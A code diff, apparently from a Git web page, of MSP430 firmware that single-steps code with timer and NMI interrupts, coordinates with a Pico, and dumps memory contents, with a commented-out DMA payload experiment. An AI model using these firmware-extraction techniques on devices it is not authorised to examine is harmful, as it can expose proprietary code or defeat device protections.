// 0x1bc2/4 and 0x1bd6/8 contain a bic #GIE, sr instruction! these should be 2 bytes in size
|
|
||||||
/*if (pc16 == 0x1bc2 || pc16 == 0x1bc4 || pc16 == 0x1bd6 || pc16 == 0x1bd8) {
|
|
||||||
sp[24] |=
|
|
||||||
}*/
|
|
||||||
// 0x1b96 does a jump to ???? (probably from a memory location?)
|
|
||||||
|
|
||||||
#if DUMP_MODE
|
#if DUMP_MODE
|
||||||
uint16_t v1 = sp[2*(12-4)];
|
uint16_t v1 = sp[2*(12-4)];
|
||||||
uint16_t v2 = sp[2*(13-4)];
|
uint16_t v2 = sp[2*(13-4)];
|
||||||
|
|
||||||
if (!(curaddr & 0xf)) {
|
if ((curaddr & 0xf) == 0x2) {
|
||||||
iprintf("%04x: ", curaddr);
|
iprintf("%04x: ", curaddr-2/*correct off-by-2 error*/);
|
||||||
}
|
}
|
||||||
iprintf("%02x %02x %02x %02x ",
|
iprintf("%02x %02x %02x %02x ",
|
||||||
v1 & 0xff, (v1 >> 8) & 0xff,
|
v1 & 0xff, (v1 >> 8) & 0xff,
|
||||||
v2 & 0xff, (v2 >> 8) & 0xff
|
v2 & 0xff, (v2 >> 8) & 0xff
|
||||||
);
|
);
|
||||||
if ((curaddr & 0xf) == 0xc) {
|
if ((curaddr & 0xf) == 0xe) {
|
||||||
iprintf("\r\n");
|
iprintf("\r\n");
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
|
@ -255,17 +306,23 @@ void do_collect(uint16_t* sp) {
|
||||||
|
|
||||||
next_iter:
|
next_iter:
|
||||||
#if DUMP_MODE
|
#if DUMP_MODE
|
||||||
if (curaddr == DUMP_ADDR_END) while(1); // start of info mem
|
|
||||||
curaddr += 4;
|
curaddr += 4;
|
||||||
|
if (curaddr > DUMP_ADDR_END) while(1); // start of info mem
|
||||||
#else
|
#else
|
||||||
if (curticks == END_CYC) while(1);
|
//if (curticks == END_CYC) while(1);
|
||||||
++curticks;
|
++curticks;
|
||||||
#endif
|
#endif
|
||||||
|
#if USE_NMI
|
||||||
|
//P1OUT ^= BIT1;
|
||||||
|
// return...
|
||||||
|
#else
|
||||||
do_trace();
|
do_trace();
|
||||||
__builtin_unreachable();
|
__builtin_unreachable();
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((__interrupt__(TIMER1_A0_VECTOR), __naked__))
|
void Timer_A1_ISR(void);
|
||||||
|
__attribute__((__naked__, __interrupt__(TIMER1_A0_VECTOR), __used__))
|
||||||
void Timer_A1_ISR(void) {
|
void Timer_A1_ISR(void) {
|
||||||
asm volatile(
|
asm volatile(
|
||||||
".extern do_collect\n"
|
".extern do_collect\n"
|
||||||
|
@ -310,26 +367,55 @@ void Timer_A1_ISR(void) {
|
||||||
"mov.a sp, r12\n"
|
"mov.a sp, r12\n"
|
||||||
"call #do_collect\n"
|
"call #do_collect\n"
|
||||||
"popm.a #12, r15\n"
|
"popm.a #12, r15\n"
|
||||||
|
#if USE_NMI
|
||||||
|
"mov.w #do_trace, 2(sp)\n"
|
||||||
|
//"bis.w #0x10, P1OUT\n"
|
||||||
|
#endif
|
||||||
"reti\n"
|
"reti\n"
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((__interrupt__(UNMI_VECTOR)))
|
//extern const uint8_t TRAM_PAYLOAD_START[], TRAM_PAYLOAD_END[];
|
||||||
|
|
||||||
|
__attribute__((__interrupt__(UNMI_VECTOR), __naked__))
|
||||||
void NMI_ISR(void) {
|
void NMI_ISR(void) {
|
||||||
SFRIFG1 &= ~NMIIE;
|
asm volatile(
|
||||||
|
".extern Timer_A1_ISR\n"
|
||||||
|
|
||||||
|
"xor.b #1, P1OUT\n"
|
||||||
|
/*"bit.b #4, P3IN\n"
|
||||||
|
"jz .Lnotyet\n"*/
|
||||||
|
|
||||||
|
"jmp Timer_A1_ISR\n" // do the general stuff
|
||||||
|
//"reti\n"
|
||||||
|
|
||||||
|
/*".Lnotyet:"
|
||||||
|
"bic.w #0x10, SFRIFG1\n" // clear NMIIFG bit from flags
|
||||||
|
"mov.w #0, SYSUNIV\n"
|
||||||
|
"reti\n"*/
|
||||||
|
);
|
||||||
|
/*SFRIFG1 &= ~NMIIFG;
|
||||||
SYSUNIV = 0;
|
SYSUNIV = 0;
|
||||||
//++P1OUT;
|
//++P1OUT;
|
||||||
P1OUT = ((P1OUT+1) & 15) | (P1OUT & 0xF0);
|
P1OUT = ((P1OUT+1) & 15) | (P1OUT & 0xF0);*/
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(void) {
|
CODESP int main(void) {
|
||||||
setup_io();
|
setup_io();
|
||||||
setup_clocks();
|
setup_clocks();
|
||||||
stdio_msp_init();
|
stdio_msp_init();
|
||||||
SFRIE1 = NMIIE;
|
|
||||||
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
|
#if USE_NMI
|
||||||
|
// now in do_trace
|
||||||
|
/*SFRIE1 = NMIIE;
|
||||||
|
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;*/
|
||||||
// NOTE: RST/#NMI == SBWTDIO
|
// NOTE: RST/#NMI == SBWTDIO
|
||||||
|
|
||||||
|
P3OUT |= BIT0; // tell pico to enable its NMI line
|
||||||
|
while (!(P3IN & BIT2)) ; // wait for pico to do stuff
|
||||||
|
//P1OUT |= BIT0;
|
||||||
|
#endif
|
||||||
|
|
||||||
memset(regbak, 0, sizeof regbak);
|
memset(regbak, 0, sizeof regbak);
|
||||||
|
|
||||||
__bis_SR_register(GIE); // enable irq
|
__bis_SR_register(GIE); // enable irq
|
||||||
|
@ -351,8 +437,14 @@ int main(void) {
|
||||||
puts("hello world!\r\n");
|
puts("hello world!\r\n");
|
||||||
|
|
||||||
done_irq = 0;
|
done_irq = 0;
|
||||||
|
#if USE_NMI
|
||||||
|
pico_send_cmd('0');
|
||||||
|
pico_wait_ack();
|
||||||
|
#endif
|
||||||
|
do_trace();
|
||||||
|
/*while(1);*/__builtin_unreachable();
|
||||||
|
|
||||||
pico_send_cmd(0);
|
/*pico_send_cmd(0);
|
||||||
while (true) {
|
while (true) {
|
||||||
P1OUT |= BIT4; // send trig
|
P1OUT |= BIT4; // send trig
|
||||||
__delay_cycles(10);
|
__delay_cycles(10);
|
||||||
|
@ -361,9 +453,47 @@ int main(void) {
|
||||||
pico_send_cmd('+');
|
pico_send_cmd('+');
|
||||||
pico_wait_ack();
|
pico_wait_ack();
|
||||||
__delay_cycles(10000);
|
__delay_cycles(10000);
|
||||||
}
|
}*/
|
||||||
|
|
||||||
/*do_trace();
|
/*__data20_write_long((uintptr_t)&DMA0SA, (uintptr_t)TRAM_PAYLOAD_START);
|
||||||
__builtin_unreachable();*/
|
__data20_write_long((uintptr_t)&DMA0DA, (uintptr_t)0x0000+10);
|
||||||
|
__data20_write_long((uintptr_t)&DMA1SA, (uintptr_t)(TRAM_PAYLOAD_START+2));
|
||||||
|
__data20_write_long((uintptr_t)&DMA1DA, (uintptr_t)0x0002+10);
|
||||||
|
__data20_write_long((uintptr_t)&DMA2SA, (uintptr_t)(TRAM_PAYLOAD_START+4));
|
||||||
|
__data20_write_long((uintptr_t)&DMA2DA, (uintptr_t)0x0004+10);
|
||||||
|
__data20_write_long((uintptr_t)&DMA3SA, (uintptr_t)(TRAM_PAYLOAD_START+6));
|
||||||
|
__data20_write_long((uintptr_t)&DMA3DA, (uintptr_t)0x0006+10);
|
||||||
|
DMA0SZ = 1;
|
||||||
|
DMA1SZ = 1;
|
||||||
|
DMA2SZ = 1;
|
||||||
|
DMA3SZ = 1;
|
||||||
|
DMA0CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||||
|
DMA1CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||||
|
DMA2CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||||
|
DMA3CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||||
|
DMACTL4 = ROUNDROBIN;
|
||||||
|
DMA0CTL |= DMAEN;
|
||||||
|
DMA1CTL |= DMAEN;
|
||||||
|
DMA2CTL |= DMAEN;
|
||||||
|
DMA3CTL |= DMAEN;
|
||||||
|
DMA0CTL |= DMAREQ;
|
||||||
|
DMA1CTL |= DMAREQ;
|
||||||
|
DMA2CTL |= DMAREQ;
|
||||||
|
DMA3CTL |= DMAREQ;
|
||||||
|
|
||||||
|
for (int i = 0; i < 100; ++i) asm volatile("nop");
|
||||||
|
//asm volatile("br #0\n");
|
||||||
|
asm volatile("1: jmp 1b\n");
|
||||||
|
|
||||||
|
asm volatile(
|
||||||
|
".global TRAM_PAYLOAD_START\n"
|
||||||
|
".global TRAM_PAYLOAD_END\n"
|
||||||
|
"TRAM_PAYLOAD_START:\n"
|
||||||
|
"1: bis.w #3, 0x0202\n"
|
||||||
|
"jmp 1b\n"
|
||||||
|
"TRAM_PAYLOAD_END:\n"
|
||||||
|
);*/
|
||||||
|
|
||||||
|
while(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue